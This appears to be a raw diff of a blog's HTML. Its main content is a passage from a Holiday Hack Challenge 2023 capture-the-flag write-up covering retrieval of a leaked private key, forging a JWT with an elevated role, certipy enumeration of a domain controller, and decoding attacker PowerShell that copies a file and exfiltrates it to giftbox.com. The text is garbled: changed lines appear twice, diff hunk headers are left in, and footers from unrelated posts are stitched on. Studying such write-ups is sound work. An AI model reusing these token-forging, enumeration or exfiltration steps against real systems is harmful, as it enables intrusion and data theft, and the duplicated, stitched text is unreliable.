</code></pre><p>As expected, the <code>rDecoder.tok</code> file does exist. To actually get it, however, we must supply the authorization header with the <code>rMonitor</code> token.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>wget --header <span style=color:#e6db74>"Authorization: Bearer </span><span style=color:#66d9ef>$(</span>cat rMonitor.tok<span style=color:#66d9ef>)</span><span style=color:#e6db74>"</span> <span style=color:#ae81ff>\
|
||||
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span> https://captainscomms.com/jwtDefault/rDecoder.tok
|
||||
</span></span></span><span style=display:flex><span> https://captainscomms.com/jwtDefault/rDecoder.tok
|
||||
</span></span></code></pre></div><p>We repeat the process as above and paste this new token as the value for the <code>JustWatchThis</code> cookie.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>cat rDecoder.tok | wl-copy
|
||||
</span></span></code></pre></div><p>Accessing the monitor after pasting, we can decode each signal peak left to right.</p><p><img src alt></p><p>Decoding the first signal peak tells us that the captain’s private key is located in a folder called <code>TH3CAPSPR1V4T3F0LD3R</code>.</p><p><img src alt></p><p>The second signal peak decodes to e03 interval signal messages like the Lincolnshire Poacher.
|
||||
The contents of the message is <code>12249 12249 16009 16009 12249 12249 16009 16009</code>.</p><p>The last signal peak decodes to provide an image with the frequency 10426 written on it.</p><p>Knowing the captain’s use of abbreviations, we can assume that like the public key’s name <code>capsPubKey.key</code>, the private key
|
||||
is probably named <code>capsPrivKey.key</code>. We can probe for it without an authorization header.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>curl https://captainscomms.com/jwtDefault/keys/TH3CAPSPR1V4T3F0LD3R/capsPrivKey.key
|
||||
</span></span></code></pre></div><pre tabindex=0><code>Invalid authorization token provided.
|
||||
</code></pre><p>This means that the file exists! Let’s retrieve it with our <code>rDecoder.tok</code> token for authorization.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>curl https://captainscomms.com/jwtDefault/keys/TH3CAPSPR1V4T3F0LD3R/capsPrivKey.key <span style=color:#ae81ff>\
|
||||
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span>--header <span style=color:#e6db74>"Authorization: Bearer </span><span style=color:#66d9ef>$(</span>cat rDecoder.tok<span style=color:#66d9ef>)</span><span style=color:#e6db74>"</span> <span style=color:#ae81ff>\
|
||||
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span>-O
|
||||
</span></span></span><span style=display:flex><span>--header <span style=color:#e6db74>"Authorization: Bearer </span><span style=color:#66d9ef>$(</span>cat rDecoder.tok<span style=color:#66d9ef>)</span><span style=color:#e6db74>"</span> <span style=color:#ae81ff>\
|
||||
</span></span></span><span style=display:flex><span>-O
|
||||
</span></span></code></pre></div><p>Now that we have the private key, we can use it to sign and forge tokens with any role of our choice.</p><p>Opening the captain’s todo list, we see the captain talking about his role and how the journal he left
|
||||
on pixel island has details about this role.</p><p>Indeed, when we played the duck hunt game, the victory screen gave us the journal where the captain talked about the
|
||||
<code>GeeseIslandSuperChiefCommunicationsOfficer</code> role.</p><p>We can use <a href=https://cyberchef.org>cyberchef</a> to change the token payload, modifying our role from <code>radioDecoder</code> to
|
||||
<code>GeeseIslandSuperChiefCommunicationsOfficer</code> and sign it with the private key.</p><p>We use the JWT Sign operation in our recipe, set the signing algorithm to <code>RS256</code> and paste the captain’s private key in the <code>Private/Secret Key</code> field.</p><p>We can decode the payload from the <code>rDecoder.tok</code> file, replace the <code>radioDecoder</code> role with the new role and copy it to clipboard.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>cut -d. -f2 rDecoder.tok <span style=color:#ae81ff>\
|
||||
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span>| base64 -d <span style=color:#ae81ff>\
|
||||
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span>| sed s/radioDecoder/GeeseIslandsSuperChiefCommunicationsOfficer/g <span style=color:#ae81ff>\
|
||||
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span>| wl-copy
|
||||
</span></span></span><span style=display:flex><span>| base64 -d <span style=color:#ae81ff>\
|
||||
</span></span></span><span style=display:flex><span>| sed s/radioDecoder/GeeseIslandsSuperChiefCommunicationsOfficer/g <span style=color:#ae81ff>\
|
||||
</span></span></span><span style=display:flex><span>| wl-copy
|
||||
</span></span></code></pre></div><p>Finally, we paste this into the input field of cyberchef.</p><p><img src alt></p><p>Now, we paste the output of cyberchef as the <code>JustWatchThis</code> cookie’s value.</p><p><img src alt></p><pre tabindex=0><code>eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6IkdlZXNlSXNsYW5kc1N1cGVyQ2hpZWZDb21tdW5pY2F0aW9uc09mZmljZXIifQ.N-8MdT6yPFge7zERpm4VdLdVLMyYcY_Wza1TADoGKK5_85Y5ua59z2Ke0TTyQPa14Z7_Su5CpHZMoxThIEHUWqMzZ8MceUmNGzzIsML7iFQElSsLmBMytHcm9-qzL0Bqb5MeqoHZYTxN0vYG7WaGihYDTB7OxkoO_r4uPSQC8swFJjfazecCqIvl4T5i08p5Ur180GxgEaB-o4fpg_OgReD91ThJXPt7wZd9xMoQjSuPqTPiYrP5o-aaQMcNhSkMix_RX1UGrU-2sBlL01FxI7SjxPYu4eQbACvuK6G2wyuvaQIclGB2Qh3P7rAOTpksZSex9RjtKOiLMCafTyfFng
|
||||
</code></pre><p>The transmitter asks for a frequency, a go-date and a go-time. We supply the frequency we found earlier.
|
||||
The go-date and go-time fields only accepted 4 digits. I supplied <code>1224</code> and <code>1600</code> from the decoded version of the second signal peak.</p><p>The I pressed the transmission button (Tx). Nothing happened.</p><p>At this point, I made a guess and changed the go-time to 1200, since 12/24 12:00 is super exciting.
|
||||
@@ -753,7 +753,7 @@ and issuing an HTTP request to management.azure.com’s API.</p><div class=h
|
||||
</span></span><span style=display:flex><span>}
|
||||
</span></span></code></pre></div><p>We can query for the North Pole IT KV Key Vault Store,
|
||||
and subsequently we get the following JSON.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>curl --header <span style=color:#e6db74>"</span>$HEADER<span style=color:#e6db74>"</span> <span style=color:#e6db74>"https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv?api-version=2022-07-01"</span> <span style=color:#ae81ff>\
|
||||
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span>| jq
|
||||
</span></span></span><span style=display:flex><span>| jq
|
||||
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>{
|
||||
</span></span><span style=display:flex><span> <span style=color:#f92672>"id"</span>: <span style=color:#e6db74>"/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv"</span>,
|
||||
</span></span><span style=display:flex><span> <span style=color:#f92672>"name"</span>: <span style=color:#e6db74>"northpole-it-kv"</span>,
|
||||
@@ -845,10 +845,10 @@ drw-rw-rw- 0 Sun Dec 17 01:15:12 2023 super_secret_research
|
||||
2. Restrict access to C:\FileShare\super_secret_research to only researchers so everyone cant see the folder or read its contents
|
||||
3. Profit
|
||||
</code></pre><p>The <code>super_secret_research</code> directory is restricted only to researchers, we can even test this by trying to list the directory which yields an error.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>certipy find <span style=color:#ae81ff>\
|
||||
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span> -vulnerable <span style=color:#ae81ff>\
|
||||
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span> -username elfy@northpole.local <span style=color:#ae81ff>\
|
||||
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span> -dc-ip 10.0.0.53 <span style=color:#ae81ff>\
|
||||
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span> -password <span style=color:#e6db74>"</span>$PW<span style=color:#e6db74>"</span>
|
||||
</span></span></span><span style=display:flex><span> -vulnerable <span style=color:#ae81ff>\
|
||||
</span></span></span><span style=display:flex><span> -username elfy@northpole.local <span style=color:#ae81ff>\
|
||||
</span></span></span><span style=display:flex><span> -dc-ip 10.0.0.53 <span style=color:#ae81ff>\
|
||||
</span></span></span><span style=display:flex><span> -password <span style=color:#e6db74>"</span>$PW<span style=color:#e6db74>"</span>
|
||||
</span></span></code></pre></div><pre tabindex=0><code>Certipy v4.8.2 - by Oliver Lyak (ly4k)
|
||||
|
||||
Password:
|
||||
@@ -1080,15 +1080,15 @@ To narrow down base64 encoded commands further, we will query only those process
|
||||
</code></pre><p>We make sure to sort timestamp as ascending.</p><p>Now let’s decode each record. To do this, we copy the part of the command
|
||||
after the <code>-enc</code> flag and run the following command:</p><pre tabindex=0><code>echo THEBASE64STRING | base64 -d
|
||||
</code></pre><p>Keep in mind, we replace <code>THEBASE64STRING</code> with the thing we just copied.</p><p>Let’s decode the first base64 string.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>echo SW52b2tlLVdtaU1ldGhvZCAtQ29tcHV0ZXJOYW1lICRTZXJ2ZXIgLUNsYXNzIENDTV9Tb2Z0d2FyZVVwZGF0ZXNNYW5hZ2VyIC1OYW1lIEluc3RhbGxVcGRhdGVzIC0gQXJndW1lbnRMaXN0ICgsICRQZW5kaW5nVXBkYXRlTGlzdCkgLU5hbWVzcGFjZSByb290WyZjY20mXWNsaWVudHNkayB8IE91dC1OdWxs <span style=color:#ae81ff>\
|
||||
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span>| base64 -d
|
||||
</span></span></span><span style=display:flex><span>| base64 -d
|
||||
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-powershell data-lang=powershell><span style=display:flex><span>Invoke-WmiMethod -ComputerName $Server -Class CCM_SoftwareUpdatesManager -Name InstallUpdates - ArgumentList (, $PendingUpdateList) -Namespace root[&ccm&]clientsdk | Out-Null
|
||||
</span></span></code></pre></div><p>Nope, this looks like a legitimate command for installing Windows updates. Let’s try the second one.</p><p>The base64 command in the second record when decoded as follows</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>echo KCAndHh0LnRzaUxlY2lOeXRoZ3VhTlxwb3Rrc2VEXDpDIHR4dC50c2lMZWNpTnl0aGd1YU5cbGFjaXRpckNub2lzc2lNXCRjXGVyYWhzZWxpZmVsb1BodHJvTlxcIG1ldEkteXBvQyBjLSBleGUubGxlaHNyZXdvcCcgLXNwbGl0ICcnIHwgJXskX1swXX0pIC1qb2luICcn <span style=color:#ae81ff>\
|
||||
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span>| base64 -d
|
||||
</span></span></span><span style=display:flex><span>| base64 -d
|
||||
</span></span></code></pre></div><p>yields the following powershell command:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-powershell data-lang=powershell><span style=display:flex><span>( <span style=color:#e6db74>'txt.tsiLeciNythguaN\potkseD\:C txt.tsiLeciNythguaN\lacitirCnoissiM\$c\erahselifeloPhtroN\\ metI-ypoC c- exe.llehsrewop'</span> -split <span style=color:#e6db74>''</span> | %{$_[<span style=color:#ae81ff>0</span>]}) -join <span style=color:#e6db74>''</span>
|
||||
</span></span></code></pre></div><p>Now that is some obfuscated command we can expect an attacker to invoke. We note the timestamp for this second record and submit it.</p><p><img src alt></p><p><img src alt></p><p>Answer: <code>2023-12-24T16:07:47Z</code></p><ol start=2><li>What was the name of the file the attacker copied from the fileshare? (This might require some additional decoding)</li></ol><p>From the previous query output, we can try decoding the encoded commands one by one.</p><p>The <code>-split '' | %{$_[0]}</code> part of the command splits the preceding string into its constituent characters,
|
||||
these are then rearranged in reverse and the trailing <code>-join ''</code> joins the reversed characters back into a string.</p><p>Undoing the reverse, we get the following command:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-powershell data-lang=powershell><span style=display:flex><span>powershell.exe -c Copy-Item \\NorthPolefileshare\c$\MissionCritical\NaughtyNiceList.txt C:\Desktop\NaughtyNiceList.txt
|
||||
</span></span></code></pre></div><p>We see that the attacker copied the <code>NaughtyNiceList.txt</code> file from the fileshare to <code>C:\Desktop</code>.</p><p>Answer: <code>NaughtyNiceList.txt</code></p><ol start=3><li>The attacker has likely exfiltrated data from the file share. What domain name was the data exfiltrated to?</li></ol><p>We move on to decode the base64 encoded command in the third record.</p><p><img src alt></p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>echo W1N0UmlOZ106OkpvSW4oICcnLCBbQ2hhUltdXSgxMDAsIDExMSwgMTE5LCAxMTAsIDExOSwgMTA1LCAxMTYsIDEwNCwgMTE1LCA5NywgMTEwLCAxMTYsIDk3LCA0NiwgMTAxLCAxMjAsIDEwMSwgMzIsIDQ1LCAxMDEsIDEyMCwgMTAyLCAxMDUsIDEwOCwgMzIsIDY3LCA1OCwgOTIsIDkyLCA2OCwgMTAxLCAxMTUsIDEwNywgMTE2LCAxMTEsIDExMiwgOTIsIDkyLCA3OCwgOTcsIDExNywgMTAzLCAxMDQsIDExNiwgNzgsIDEwNSwgOTksIDEwMSwgNzYsIDEwNSwgMTE1LCAxMTYsIDQ2LCAxMDAsIDExMSwgOTksIDEyMCwgMzIsIDkyLCA5MiwgMTAzLCAxMDUsIDEwMiwgMTE2LCA5OCwgMTExLCAxMjAsIDQ2LCA5OSwgMTExLCAxMDksIDkyLCAxMDIsIDEwNSwgMTA4LCAxMDEpKXwmICgoZ3YgJypNRHIqJykuTmFtRVszLDExLDJdLWpvaU4<span style=color:#f92672>=</span> <span style=color:#ae81ff>\
|
||||
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span>| base64 -d
|
||||
</span></span></span><span style=display:flex><span>| base64 -d
|
||||
</span></span></code></pre></div><p>This gives us the following obfuscated command:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-powershell data-lang=powershell><span style=display:flex><span>[<span style=color:#66d9ef>StRiNg</span>]::JoIn( <span style=color:#e6db74>''</span>, [<span style=color:#66d9ef>ChaR[]</span>](<span style=color:#ae81ff>100</span>, <span style=color:#ae81ff>111</span>, <span style=color:#ae81ff>119</span>, <span style=color:#ae81ff>110</span>, <span style=color:#ae81ff>119</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>104</span>, <span style=color:#ae81ff>115</span>, <span style=color:#ae81ff>97</span>, <span style=color:#ae81ff>110</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>97</span>, <span style=color:#ae81ff>46</span>, <span style=color:#ae81ff>101</span>, <span style=color:#ae81ff>120</span>, <span style=color:#ae81ff>101</span>, <span style=color:#ae81ff>32</span>, <span style=color:#ae81ff>45</span>, <span style=color:#ae81ff>101</span>, <span style=color:#ae81ff>120</span>, <span style=color:#ae81ff>102</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>108</span>, <span style=color:#ae81ff>32</span>, <span style=color:#ae81ff>67</span>, <span style=color:#ae81ff>58</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>68</span>, <span style=color:#ae81ff>101</span>, <span style=color:#ae81ff>115</span>, <span style=color:#ae81ff>107</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>111</span>, <span style=color:#ae81ff>112</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>78</span>, <span style=color:#ae81ff>97</span>, <span style=color:#ae81ff>117</span>, <span style=color:#ae81ff>103</span>, <span style=color:#ae81ff>104</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>78</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>99</span>, <span style=color:#ae81ff>101</span>, <span style=color:#ae81ff>76</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>115</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>46</span>, <span style=color:#ae81ff>100</span>, <span style=color:#ae81ff>111</span>, <span style=color:#ae81ff>99</span>, <span style=color:#ae81ff>120</span>, <span style=color:#ae81ff>32</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>103</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>102</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>98</span>, <span style=color:#ae81ff>111</span>, <span style=color:#ae81ff>120</span>, <span style=color:#ae81ff>46</span>, <span style=color:#ae81ff>99</span>, <span style=color:#ae81ff>111</span>, <span style=color:#ae81ff>109</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>102</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>108</span>, <span style=color:#ae81ff>101</span>))|& ((gv <span style=color:#e6db74>'*MDr*'</span>).NamE[<span style=color:#ae81ff>3</span>,<span style=color:#ae81ff>11</span>,<span style=color:#ae81ff>2</span>]-joiN
|
||||
</span></span></code></pre></div><p>This obfucation technique relies on representing each character in a string as their ASCII numeric representation, which are later reconstructed when running the command.</p><p>To perform the reconstruction manually we can run the following python code:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-py data-lang=py><span style=display:flex><span>encoded <span style=color:#f92672>=</span> (<span style=color:#ae81ff>100</span>, <span style=color:#ae81ff>111</span>, <span style=color:#ae81ff>119</span>, <span style=color:#ae81ff>110</span>, <span style=color:#ae81ff>119</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>104</span>, <span style=color:#ae81ff>115</span>, <span style=color:#ae81ff>97</span>, <span style=color:#ae81ff>110</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>97</span>, <span style=color:#ae81ff>46</span>, <span style=color:#ae81ff>101</span>, <span style=color:#ae81ff>120</span>, <span style=color:#ae81ff>101</span>, <span style=color:#ae81ff>32</span>, <span style=color:#ae81ff>45</span>, <span style=color:#ae81ff>101</span>, <span style=color:#ae81ff>120</span>, <span style=color:#ae81ff>102</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>108</span>, <span style=color:#ae81ff>32</span>, <span style=color:#ae81ff>67</span>, <span style=color:#ae81ff>58</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>68</span>, <span style=color:#ae81ff>101</span>, <span style=color:#ae81ff>115</span>, <span style=color:#ae81ff>107</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>111</span>, <span style=color:#ae81ff>112</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>78</span>, <span style=color:#ae81ff>97</span>, <span style=color:#ae81ff>117</span>, <span style=color:#ae81ff>103</span>, <span style=color:#ae81ff>104</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>78</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>99</span>, <span style=color:#ae81ff>101</span>, <span style=color:#ae81ff>76</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>115</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>46</span>, <span style=color:#ae81ff>100</span>, <span style=color:#ae81ff>111</span>, <span style=color:#ae81ff>99</span>, <span style=color:#ae81ff>120</span>, <span style=color:#ae81ff>32</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>103</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>102</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>98</span>, <span style=color:#ae81ff>111</span>, <span style=color:#ae81ff>120</span>, <span style=color:#ae81ff>46</span>, <span style=color:#ae81ff>99</span>, <span style=color:#ae81ff>111</span>, <span style=color:#ae81ff>109</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>102</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>108</span>, <span style=color:#ae81ff>101</span>)
|
||||
</span></span><span style=display:flex><span>print(<span style=color:#e6db74>''</span><span style=color:#f92672>.</span>join(map(chr, encoded)))
|
||||
@@ -1105,4 +1105,4 @@ we mark them safe. If the values differ or the domain is entirely different, we
|
||||
<a href=https://lavafroth.is-a.dev/tags/reverse-engineering class=list-tag>Reverse Engineering</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/dmarc class=list-tag>DMARC</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/web class=list-tag>Web</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/android-phone-for-webcam-nixos/><span>←</span><span>Using an Android Phone as a webcam in NixOS</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/abstracting-structured-patterns-in-concurrent-programming/><span>Abstracting Structured Patterns in Concurrent Programming</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/abstracting-structured-patterns-in-concurrent-programming/><span>Abstracting Structured Patterns in Concurrent Programming</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -21,4 +21,4 @@ as there are legitimate duplicates which, if deleted, can brick a system. I&rsqu
|
||||
running jdupes in individual directories like <em>Music</em>, <em>Documents</em>, etc.</p></blockquote></section><footer class=post-tags data-pagefind-meta=tags><a href=https://lavafroth.is-a.dev/tags/powershell class=list-tag>Powershell</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/windows class=list-tag>Windows</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/workflow class=list-tag>Workflow</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/picoctf-web-challenge-jauth/><span>←</span><span>JAuth</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/picoctf-web-challenge-notepad/><span>Notepad</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/picoctf-web-challenge-notepad/><span>Notepad</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -51,4 +51,4 @@ If you are wondering why this is not a complete binding, remember we still need
|
||||
<a href=https://lavafroth.is-a.dev/tags/swhkd class=list-tag>SWHKD</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/waycrate class=list-tag>Waycrate</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/wayland class=list-tag>Wayland</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/i-solemnly-swear-to-never-buy-a-gaming-laptop-again/><span>←</span><span>I Solemnly Swear to Never Buy a Gaming Laptop Again</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/edge-cases-you-shall-not-pass/><span>Edge cases? You Shall Not Pass!</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/edge-cases-you-shall-not-pass/><span>Edge cases? You Shall Not Pass!</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -59,4 +59,4 @@ around their start and end.</p><p>Okay, that’s about it for now, I’l
|
||||
<a href=https://lavafroth.is-a.dev/tags/swhkd class=list-tag>SWHKD</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/waycrate class=list-tag>Waycrate</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/wayland class=list-tag>Wayland</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/test-driven-development-the-pinnacle-of-engineering/><span>←</span><span>Test Driven Development - The Pinnacle of Engineering</span></a>
|
||||
<a href=https://lavafroth.is-a.dev/post/i-solemnly-swear-to-never-buy-a-gaming-laptop-again/><span>I Solemnly Swear to Never Buy a Gaming Laptop Again</span><span>→</span></a></nav></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a href=https://lavafroth.is-a.dev/post/i-solemnly-swear-to-never-buy-a-gaming-laptop-again/><span>I Solemnly Swear to Never Buy a Gaming Laptop Again</span><span>→</span></a></nav></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
@@ -27,4 +27,4 @@ collect2: error: ld returned 1 exit status
|
||||
<a href=https://lavafroth.is-a.dev/tags/nixos class=list-tag>NixOS</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/notes class=list-tag>Notes</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/troubleshooting class=list-tag>Troubleshooting</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/algebraic-python-enums/><span>←</span><span>Algebraic Python Enums</span></a>
|
||||
